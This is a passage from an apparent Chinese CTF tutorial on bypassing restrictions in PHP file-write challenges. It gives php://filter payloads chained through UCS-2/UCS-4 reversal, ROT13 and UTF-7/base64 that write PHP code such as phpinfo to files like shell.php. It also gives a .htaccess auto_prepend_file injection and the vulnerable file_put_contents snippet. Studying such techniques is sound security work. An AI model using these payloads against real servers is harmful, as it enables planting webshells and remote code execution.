UCS-4
对目标字符串进行4位一反转,一定要拼凑够4的倍数
php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<aa phpiphp(ofn>?;)/resource=3.php
0x04:组合拳
UTF-8/UTF-7
还记得上面的base64编码之所以这种
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.phppayload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号
再进解码发现等号并没有转回来
所以可以利用这种特性来嵌套过滤器,从而绕过等号
php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=1.php 或 php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
经过测试发现,write=一定要写进去,如果不写PHP不会去自动识别,还有就是内容要写在前面,如果写在后面内容写会写入,但是解析不了,如:
php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
UCS2/ROT13、UCS4/ROT13
这里在自己测试的发现,使用UCS2或UCS4进行编码时,这个过程是识别空格的,但是到使用伪协议的时候需要进行反转解码,又无法识别空格,这就是为什么下面的payload要多加一个字符,可以自己测试一下就明白了。
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php #注意这里要补充一个字符,因为空格无法和任意一个字符搭配进行反转
UCS4/ROT13
同样如此
php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|string.rot13|x?<xx cucvcuc(bsa>?;)/resource=6.php 第三种情况 <?php if(isset($_GET['content'])){ $filename = $_GET['filename']; $content = $_GET['content']; file_put_contents($filename,$content . " xxxxxx"); }else{ highlight_file(__FILE__); }这种考点一般的话是禁止有特殊起始符和结束符号的语言,如果不禁,直接写入PHP代码就可以执行了,后面的限制也就没有什么意义了,这类问题往往是需要想办法处理掉杂糅代码的。
.htaccess绕过
使用.htaccess文件绕过需要注意该文件是很敏感的,如果有杂糅代码,便会出现错误,导致无法操作,可以使用注释符来将杂糅代码给注释掉
?filename=.htaccess&content=php_value auto_prepend_file D:lag.php%0a%23
参考博客: